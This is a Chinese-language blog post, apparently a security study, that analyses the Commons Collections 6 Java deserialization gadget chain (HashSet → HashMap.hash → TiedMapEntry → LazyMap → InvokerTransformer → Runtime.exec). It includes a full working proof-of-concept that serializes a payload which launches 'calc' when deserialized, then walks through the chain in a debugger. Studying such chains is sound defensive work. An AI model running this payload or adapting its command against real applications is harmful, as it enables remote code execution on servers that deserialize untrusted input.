java6安全站点_Java安全之Commons Collections6分析

Java安全之Commons Collections6分析

0x00 前言

其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别。在CC6链中也和CC5的利用链类似,但是CC6链中使用的是HashSet去触发LazyMap的get方法。而在CC5中使用的是BadAttributeValueExpException。

0x01 POC分析

这里还是去简化一下POC代码,因为ysoserial做了很多优化和封装。所以在第一次看该代码的时候,虽然也能看懂,但是不太容易理清思路。

package com.test;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.HashSet;

import java.util.Map;

public class cc6 {

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

Transformer[] transformers=new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};

Map map=new HashMap();

Map lazyMap=LazyMap.decorate(map,Testtransformer);

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

HashSet hashSet=new HashSet(1);

hashSet.add(tiedMapEntry);

lazyMap.remove("test1");

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");

field.setAccessible(true);

field.set(Testtransformer, transformers);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));

objectOutputStream.writeObject(hashSet);

objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));

objectInputStream.readObject();

}

}

以上这段代码是从网上找来的POC,里面提取出来的重要的代码。首先还是得来执行一遍,POC代码是否能够去正常运行。

039a268d91f512060640aae20f6a4e4e.png

能够正常执行,后面就来分析一下POC的构造。前面的一段代码和CC1一样,就不做赘述了。

Map lazyMap=LazyMap.decorate(map,Testtransformer);

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

这段代码也是在构造CC5链中出现的,将map和LazyMap,调用get方法就会调用transform方法。而这里是再使用了TiedMapEntry类去将LazyMap实例化对象传入进去。调用到TiedMapEntry的getValue就会在getValue内部去调用get方法。

HashSet hashSet=new HashSet(1);

hashSet.add(tiedMapEntry);

lazyMap.remove("test1");

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令

这一步里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将test1给移除,这是因为在执行的时候如果没使用lazyMap.remove将test1给移除掉将不会进入到该判断语句里面去。

4d534c8d91617533099a8f3789015c8c.png

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");

field.setAccessible(true);

field.set(Testtransformer, transformers);

上面这一段其实就为了防止在序列化的时候,在本地将构造好的命令给执行一遍。相当于

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)

这一段代码。

0x02 POC调试

在readObject复写点打个断点进行调试,也就是Hashset的readObject。

23a1c5fc50d286161e5b04e6cbd7e033.png

在Hashset的readObject方法中,回去调用map的put方法。这里的map为Hashmap的对象,所以这里调用的是Hashmap的put方法,跟进一下该方法。

1be856d57a0b3753623cc2ff8bc5ecd1.png

而在这一步又会去调用hash方法并且传入key作为参数。还需要再跟进一下hash方法。

c3c13b08c55b4fb0e5f8c34c33aa9fe8.png

跟进到方法里面会发现,方法内部还会去调用key的hashcode,而这里的key为TiedMapEntry的实例化对象。调用的则是TiedMapEntry的hashcode。跟进一下hashcode方法。

b1c9aaed78f778d995d0a3581be6948c.png

在此处就可以看到hashcode还会去调用getValue方法,下面的内容其实就和CC5的利用链一样了。

来到getValue看看

581c1a5e2f945fcf3ed300b07dbd367d.png

这里就会去调用this.map.get()方法,this.map是LazyMap的实例化对象。使用的是下面这段POC代码对this.map进行赋值。

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

为了更清晰整一条利用链,再跟进一下LazyMap的get方法。

c720823c2bec499bba220923f6439cc7.png

这里在前面提到过,需要lazyMap.remove方法移除前面填入的KEY才能够进行到该if判断语句里面去执行transform方法,否则就直接走的是else的方法体内容了。达不到所要的效果,利用链也没法进行执行命令了。

其实到这一步已经很清晰了,下面的就不做分析了,前面的文章分析过很多回了。

利用链

HashSet.readObject->HashMap.put

->HashMap.hash->TiedMapEntry.hashCode

->TiedMapEntry.getValue->LazyMap.get

->ChainedTransformer.transform->InvokerTransformer.transform

->Runtime.exec

0x03 结尾

本篇文章其实也是只挑了一些重点去做分析,其他的都是地方,和前面的都一样就没必要再去分析一遍了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值